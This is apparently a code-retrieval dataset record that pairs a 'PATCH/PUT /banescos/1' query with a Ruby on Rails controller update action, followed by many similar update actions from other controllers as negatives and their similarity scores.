'Bot bingo number was successfully created.' }\n format.json { render json: @bot_bingo_number, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @bot_bingo_number.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.71891385", "0.7083018", "0.700415", "0.667034", "0.64701295", "0.64701295", "0.6469725", "0.6455412", "0.64474", "0.6425818", "0.6394779", "0.6388117", "0.6362138", "0.63445055", "0.6334891", "0.6315195", "0.6286442", "0.6280186", "0.6265571", "0.62350214", "0.61757135", "0.6143848", "0.6139915", "0.61321527", "0.6086932", "0.60817873", "0.6068415", "0.60551625", "0.6054649", "0.60525703", "0.6046208", "0.6038795", "0.60287374", "0.6017642", "0.60143304", "0.60034204", "0.5999604", "0.599391", "0.5984208", "0.59775734", "0.5973169", "0.5971674", "0.59627813", "0.59622216", "0.59237885", "0.591938", "0.59143203", "0.5908727", "0.5907938", "0.59035325", "0.5881424", "0.5871889", "0.58700186", "0.5869428", "0.58490086", "0.58390325", "0.5838448", "0.5836392", "0.58298945", "0.5826065", "0.5823338", "0.58228445", "0.5821711", "0.581604", "0.5806986", "0.5806437", "0.57855207", "0.5783534", "0.5783406", "0.57829297", "0.57756597", "0.57726145", "0.5771184", "0.5761002", "0.57536215", "0.57520884", "0.5750603", "0.5743566", "0.57327914", "0.57260734", "0.57201433", "0.57103705", "0.5708646", "0.5702688", "0.56941944", "0.56904525", "0.56873834", "0.56869256", "0.5684085", "0.568145", "0.5678057", "0.5676459", "0.5672982", "0.5661751", "0.56595284", "0.56584036", "0.5657842", "0.5655939", "0.5651826", "0.56411815" ]
0.66628855
4
PATCH/PUT /banescos/1 PATCH/PUT /banescos/1.json
def update @banesco.assign_attributes(banesco_params) # ask_for_permission(@banesco, 'update_banesco') and return if current_user.cannot 'update_banesco' # Extract category, if given category = params[:banesco][:category] unless category.nil? @banesco.category_type, @banesco.category_id = category.split(':') end # @banesco.save ? are_saved = update_balances(@banesco) : are_saved = [false] respond_to do |format| if are_saved.all? format.html { redirect_to banescos_url, notice: @banesco.table_name_to_show.concat(' fue actualizado satisfactoriamente.') } else format.html { render :edit } format.json { render json: @banesco.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @banco.update(banco_params)\n format.html { redirect_to(:bancos, :notice => t('activerecord.successful.messages.updated', :model => @banco.class.model_name.human))}\n format.json { render :show, status: :ok, location: @banco }\n else\n format.html { render :edit }\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end\n end", "def update\n respond_to do |format|\n if @banco.update(banco_params)\n format.html { redirect_to @banco, notice: 'Banco fue actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @banco }\n else\n format.html { render :edit }\n format.json { render json: @banco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @banco.update(banco_params)\n format.html { redirect_to bancos_url, notice: 'Banco was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @sivic_banco.update(sivic_banco_params)\r\n format.html { redirect_to @sivic_banco, notice: 'Registro alterado com sucesso.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @sivic_banco.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @socio_dados_banco.update(socio_dados_banco_params)\n format.html { redirect_to @socio_dados_banco, notice: 'Socio dados banco was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio_dados_banco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boc.update(boc_params)\n format.html { redirect_to @boc, notice: 'Boc was successfully updated.' }\n format.json { render :show, status: :ok, location: @boc }\n else\n format.html { render :edit }\n format.json { render json: @boc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bonificacion.update(bonificacion_params)\n format.html { redirect_to @bonificacion, notice: 'Bonificacion was successfully updated.' }\n format.json { render :show, status: :ok, location: @bonificacion }\n else\n format.html { render :edit }\n format.json { render json: @bonificacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bonificacion.update(bonificacion_params)\n format.html { redirect_to @bonificacion, notice: 'Bonificacion was successfully updated.' }\n format.json { render :show, status: :ok, location: @bonificacion }\n else\n format.html { render :edit }\n format.json { render json: @bonificacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bacon.update(bacon_params)\n format.html { redirect_to @bacon, notice: 'Bacon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bacon.errors, status: :unprocessable_entity }\n end\n end\n end", "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end", "def update\n respond_to do |format|\n if @bourbon.update(bourbon_params)\n format.html { redirect_to @bourbon, notice: 'Bourbon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bourbon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @obra = Obra.find(params[:id])\n\n respond_to do |format|\n if @obra.update_attributes(params[:obra])\n format.html { redirect_to @obra, notice: 'Obra was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bonu.update(bonu_params)\n format.html { redirect_to @bonu, notice: 'Bonu was successfully updated.' }\n format.json { render :show, status: :ok, location: @bonu }\n else\n format.html { render :edit }\n format.json { render json: @bonu.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bonificacion.update(bonificacion_params)\n format.html { redirect_to @bonificacion, notice: 'Bonificación fue actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @bonificacion }\n else\n format.html { render :edit }\n format.json { render json: @bonificacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n if @banana.update_attributes(params[:banana])\n format.html { redirect_to @banana, :notice => 'Banana was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @banana.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\trespond_to do |format|\n\tif @precio_boleto.update(precio_boleto_params)\n\t\tformat.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n\t\tformat.json { head :no_content }\n\telse\n\t\tformat.html { render action: 'edit' }\n\t\tformat.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n\tend\n\tend\nend", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n if @bico.update_attributes(params[:bico])\n format.html { redirect_to @bico, notice: 'Bico was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bico.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bounty.update(bounty_params)\n format.html { redirect_to @bounty, notice: 'Bounty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bounty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bonificacionfact.update(bonificacionfact_params)\n format.html { redirect_to @bonificacionfact, notice: 'Bonificacionfact was successfully updated.' }\n format.json { render :show, status: :ok, location: @bonificacionfact }\n else\n format.html { render :edit }\n format.json { render json: @bonificacionfact.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @basin = Basin.find(params[:id])\n\n respond_to do |format|\n if @basin.update_attributes(params[:basin])\n format.html { redirect_to @basin, notice: 'Basin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @caballo = Caballo.find(params[:id])\n\n respond_to do |format|\n if @caballo.update_attributes(params[:caballo])\n format.html { redirect_to @caballo, notice: 'Caballo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @caballo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bonificacion = Bonificacion.find(params[:id])\n\n respond_to do |format|\n if @bonificacion.update_attributes(params[:bonificacion])\n format.html { redirect_to(@bonificacion, :notice => 'Bonificacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bonificacion.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @my_boice.update(my_boice_params)\n format.html { redirect_to @my_boice, notice: 'My boice was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_boice }\n else\n format.html { render :edit }\n format.json { render json: @my_boice.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boook.update(boook_params)\n format.html { redirect_to @boook, notice: 'Boook was successfully updated.' }\n format.json { render :show, status: :ok, location: @boook }\n else\n format.html { render :edit }\n format.json { render json: @boook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bread.update(bread_params)\n format.html { redirect_to @bread, notice: 'パン情報を編集した.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bread.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boolio.update( boolio_params )\n format.html { redirect_to @boolio, notice: 'Boolio was successfully updated.' }\n format.json { render :show, status: :ok, location: @boolio }\n else\n format.html { render :edit }\n format.json { render json: @boolio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n set_boat\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to harbour_boats_path, notice: 'Boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bill_cargo.update_attributes(params[:bill_cargo])\n format.html { redirect_to @bill_cargo, :flash => {:success => \"修改成功\"} }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill_cargo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @precio_boleto.update(precio_boleto_params)\n format.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @osoba = Osoba.find(params[:id])\n\n if @osoba.update(params[:osoba])\n head :no_content\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n if @bill.update(params[:bill])\n head :no_content\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end", "def update\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n if @sabio.update_attributes(params[:sabio])\n format.html { redirect_to @sabio, notice: 'El Sabio fue actualizado.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bingo.update(bingo_params)\n format.html { redirect_to @bingo, notice: \"Bingo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bingo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bingo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill.type_of_bill_id = 1\n respond_to do |format|\n if @bill.update(bill_params)\n format.html { redirect_to bills_url, notice: 'Счет успешно обновлен.' }\n format.json { render :show, status: :ok, location: @bill }\n log(current_user.id,\"Обновил счет\",\"\")\n else\n format.html { render :edit }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def update\n respond_to do |format|\n if @nhaxuatban.update(nhaxuatban_params)\n format.html { redirect_to @nhaxuatban, notice: \"Nhaxuatban was successfully updated.\" }\n format.json { render :show, status: :ok, location: @nhaxuatban }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @nhaxuatban.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @brony.update(brony_params)\n format.html { redirect_to @brony, notice: 'Brony was successfully updated.' }\n format.json { render :show, status: :ok, location: @brony }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @brony.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boleta.update(boleta_params)\n format.html { redirect_to @boleta, notice: 'Boleta was successfully updated.' }\n format.json { render :show, status: :ok, location: @boleta }\n else\n format.html { render :edit }\n format.json { render json: @boleta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bloque = Bloque.find(params[:id])\n\n if @bloque.update(params[:bloque])\n head :no_content\n else\n render json: @bloque.errors, status: :unprocessable_entity\n end\n end", "def update\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n if @bb.update_attributes(params[:bb])\n format.html { redirect_to @bb, notice: 'Bb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bb.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bla = Bla.find(params[:id])\n\n respond_to do |format|\n if @bla.update_attributes(params[:bla])\n format.html { redirect_to @bla, :notice => 'Bla was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bla.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bocconi.update(bocconi_params)\n format.html { redirect_to @bocconi, notice: 'Bocconi was successfully updated.' }\n format.json { render :show, status: :ok, location: @bocconi }\n else\n format.html { render :edit }\n format.json { render json: @bocconi.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @blivot.update(blivot_params)\n format.html { redirect_to @blivot, notice: 'Blivot was successfully updated.' }\n format.json { render :show, status: :ok, location: @blivot }\n else\n format.html { render :edit }\n format.json { render json: @blivot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @barco.update(barco_params)\n format.html { redirect_to @barco, notice: 'Barco was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @barco.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bloqueo.update(bloqueo_params)\n format.html { redirect_to @bloqueo, notice: 'Bloqueo was successfully updated.' }\n format.json { render :show, status: :ok, location: @bloqueo }\n else\n format.html { render :edit }\n format.json { render json: @bloqueo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nha_xuat_ban.update(nha_xuat_ban_params)\n format.html { redirect_to @nha_xuat_ban, notice: \"Nha xuat ban was successfully updated.\" }\n format.json { render :show, status: :ok, location: @nha_xuat_ban }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @nha_xuat_ban.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @brave_burst.update(brave_burst_params)\n format.html { redirect_to @brave_burst, notice: 'Brave burst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @brave_burst.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @ban = @cloud.bans.find(params[:id])\n @ban.assign_attributes(params[:ban])\n\n if authorize @ban, :update?\n if @ban.save\n render status: 200\n else\n set_flash_message message: \"You used the wrong kind of magic and the canon broke.\", title: \"Moon canon malfunction\"\n build_errors_from_model @ban\n render status: 422\n end\n else\n set_flash_message message: \"Only supreme rulers are authorized to operate the moon-canon.\", title: \"No banana bag?\"\n build_errors_from_model @ban\n render status: 401\n end\n end", "def update\n respond_to do |format|\n if @kanban.update(kanban_params)\n format.html { redirect_to @kanban, notice: 'Kanban was successfully updated.' }\n format.json { render :show, status: :ok, location: @kanban }\n else\n format.html { render :edit }\n format.json { render json: @kanban.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @brag = Brag.find(params[:id])\n\n respond_to do |format|\n if @brag.update_attributes(params[:brag])\n format.html { redirect_to @brag, notice: 'Brag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brag.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @intranet_boleto.update(intranet_boleto_params)\n format.html { redirect_to @intranet_boleto, notice: \"Boleto was successfully updated.\" }\n format.json { render :show, status: :ok, location: @intranet_boleto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @intranet_boleto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @borc = Borc.find(params[:id])\n\n respond_to do |format|\n if @borc.update_attributes(params[:borc])\n format.html { redirect_to @borc, notice: 'Borc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @borc.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @binh_bau = BinhBau.find(params[:id])\n respond_to do |format|\n if @binh_bau.update_attributes(params[:binh_bau])\n format.html { redirect_to @binh_bau, notice: 'Binh bau was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @binh_bau.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ban = Ban.find(params[:id])\n\n respond_to do |format|\n if @ban.update_attributes(params[:ban])\n flash[:notice] = 'Ban was successfully updated.'\n format.html { redirect_to(@ban) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ban.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @obra.update(obra_params)\n format.html { redirect_to @obra, notice: 'Obra was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @borad = Borad.find(params[:id])\n\n respond_to do |format|\n if @borad.update_attributes(params[:borad])\n format.html { redirect_to @borad, :notice => 'Borad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @borad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @intranet_financeiro_tipos_cobanca.update(intranet_financeiro_tipos_cobanca_params)\n format.html { redirect_to @intranet_financeiro_tipos_cobanca, notice: \"Financeiro tipos cobanca was successfully updated.\" }\n format.json { render :show, status: :ok, location: @intranet_financeiro_tipos_cobanca }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @intranet_financeiro_tipos_cobanca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cobranca.update(cobranca_params)\n format.html { redirect_to cobrancas_path, notice: 'Cobranca was successfully updated.' }\n format.json { render :show, status: :ok, location: @cobranca }\n else\n format.html { render :edit }\n format.json { render json: @cobranca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @boat = Boat.find(params[:id], :include => [:members])\n @dockold = Dock.find(params[:Laituri]) unless params[:Laituri].blank?\n @berthold = @berth = Berth.where(:dock_id => @dockold.id, :number => params[:Laituripaikka]) unless params[:Laituri].blank?\n #@boat = Boat.find(params[:id])\n #changejnoToId\n parse_jno_from_omistajatxtbox\n change_jno_to_id_for_update\n if params[:boat][:BoatsMembers_attributes] == nil\n @onkoOk = false\n end\n\n @laituri_idt = Dock.all.map(&:id)\n @laituri_idt.insert(0,nil)\n\n @vapaat_laituripaikat = Berth.where(:dock_id => 1).all.map(&:number)\n @vapaat_laituripaikat.insert(0,nil)\n\n respond_to do |format|\n if @onkoOk && check_for_only_one_payer && @boat.update_attributes(params[:boat])\n check_dock_and_berth(format)\n format.html { redirect_to @boat, notice: 'Veneen muokkaus onnistui.' }\n format.json { head :no_content }\n else\n format.html {\n flash[:notice] = 'Virhe.'\n render action: \"edit\"\n }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bento.update(bento_params)\n format.html { redirect_to @bento, notice: 'Bento was successfully updated.' }\n format.json { render :show, status: :ok, location: @bento }\n else\n format.html { render :edit }\n format.json { render json: @bento.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @compte_bancaire = CompteBancaire.find(params[:id])\n\n respond_to do |format|\n if @compte_bancaire.update_attributes(params[:compte_bancaire])\n format.html { redirect_to @compte_bancaire, :notice => :'Compte bancaire was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action :\"edit\" }\n format.json { render json :@compte_bancaire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @registro_bovino = RegistroBovino.find(params[:id])\n\n respond_to do |format|\n if @registro_bovino.update_attributes(params[:registro_bovino])\n #format.html { redirect_to @registro_bovino, notice: 'Registro bovino was successfully updated.' }\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @registro_bovino.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n if @boat.update_attributes(params[:boat])\n format.html { redirect_to(@boat, :notice => 'Boat was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @boat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n format.html { redirect_to bill_path(@bill), notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @bill_quorum = BillQuorum.find(params[:id])\n\n respond_to do |format|\n if @bill_quorum.update_attributes(params[:bill_quorum])\n format.html { redirect_to @bill_quorum, notice: 'Bill Quorum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill_quorum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bill.update(bill_params)\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bill.update(bill_params)\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kanban = Kanban.find(params[:id])\n\n respond_to do |format|\n if @kanban.update_attributes(params[:kanban])\n format.html { redirect_to(@kanban, :notice => 'Kanban was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @kanban.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bnpb.update(bnpb_params)\n format.html { redirect_to @bnpb, notice: 'Bnpb was successfully updated.' }\n format.json { render :show, status: :ok, location: @bnpb }\n else\n format.html { render :edit }\n format.json { render json: @bnpb.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @boat = Boat.find(params[:id])\n @boat.update({\n name: params[:boat][:name],\n maxcontainers: params[:boat][:maxcontainers],\n company_id: params[:boat][:company_id],\n location: params[:boat][:location],\n image: params[:boat][:image]\n })\n\n if (@boat)\n redirect_to url_for(:controller => :boats, :action => :index)\n else\n redirect_to url_for(:controller => :boats, :action => :edit)\n end\n end", "def update\n respond_to do |format|\n if @boat.update(boat_params)\n format.html { redirect_to @boat, notice: _(\"Boat was successfully updated\") }\n format.js\n format.json { render :show, status: :ok, location: @boat }\n else\n format.html { render :edit }\n format.js\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n respond_to do |format|\n if @obra.update(obra_params)\n format.html { redirect_to @obra, notice: 'A obra foi atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @obra }\n else\n format.html { render :edit }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bingo = Bingo.find(params[:id])\n\n respond_to do |format|\n if @bingo.update_attributes(params[:bingo])\n format.html { redirect_to(@bingo, :notice => 'Bingo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bingo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n if @bill.update_attributes(params[:bill])\n format.html { redirect_to @bill, notice: 'Bill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @busca.update(busca_params)\n format.html { redirect_to @busca, notice: 'Busca was successfully updated.' }\n format.json { render :show, status: :ok, location: @busca }\n else\n format.html { render :edit }\n format.json { render json: @busca.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bijou.update(bijou_params)\n format.html { redirect_to @bijou, notice: 'Bijou was successfully updated.' }\n format.json { render :show, status: :ok, location: @bijou }\n else\n format.html { render :edit }\n format.json { render json: @bijou.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @brodo.update(brodo_params)\n format.html { redirect_to @brodo, notice: 'Brodo was successfully updated.' }\n format.json { render :show, status: :ok, location: @brodo }\n else\n format.html { render :edit }\n format.json { render json: @brodo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ipc_boeing.update(ipc_boeing_params)\n format.html { redirect_to @ipc_boeing, notice: 'Ipc boeing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ipc_boeing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @can_bo.update(can_bo_params)\n format.html { redirect_to @can_bo, notice: 'Can bo was successfully updated.' }\n format.json { render :show, status: :ok, location: @can_bo }\n else\n format.html { render :edit }\n format.json { render json: @can_bo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cabinet_balancer.update(create_params)\n format.html { redirect_to cabinet_balancers_path, notice: I18n.t('updated') }\n format.json { render :show, status: :ok, location: @cabinet_balancer }\n else\n format.html { render :edit }\n format.json { render json: @cabinet_balancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @brother = Brother.find(params[:id])\n\n respond_to do |format|\n if @brother.update_attributes(params[:brother])\n format.html { redirect_to @brother, notice: 'Cadastro atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @brother.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @blocking_client = BlockingClient.find(params[:id])\n\n respond_to do |format|\n if @blocking_client.update_attributes(params[:blocking_client])\n format.html { redirect_to @blocking_client, notice: 'Blocking client was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @blocking_client.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def update\n respond_to do |format|\n if @brainfart.update(brainfart_params)\n format.html { redirect_to @brainfart, notice: 'Brainfart was successfully updated.' }\n format.json { render :show, status: :ok, location: @brainfart }\n else\n format.html { render :edit }\n format.json { render json: @brainfart.errors, status: :unprocessable_entity }\n 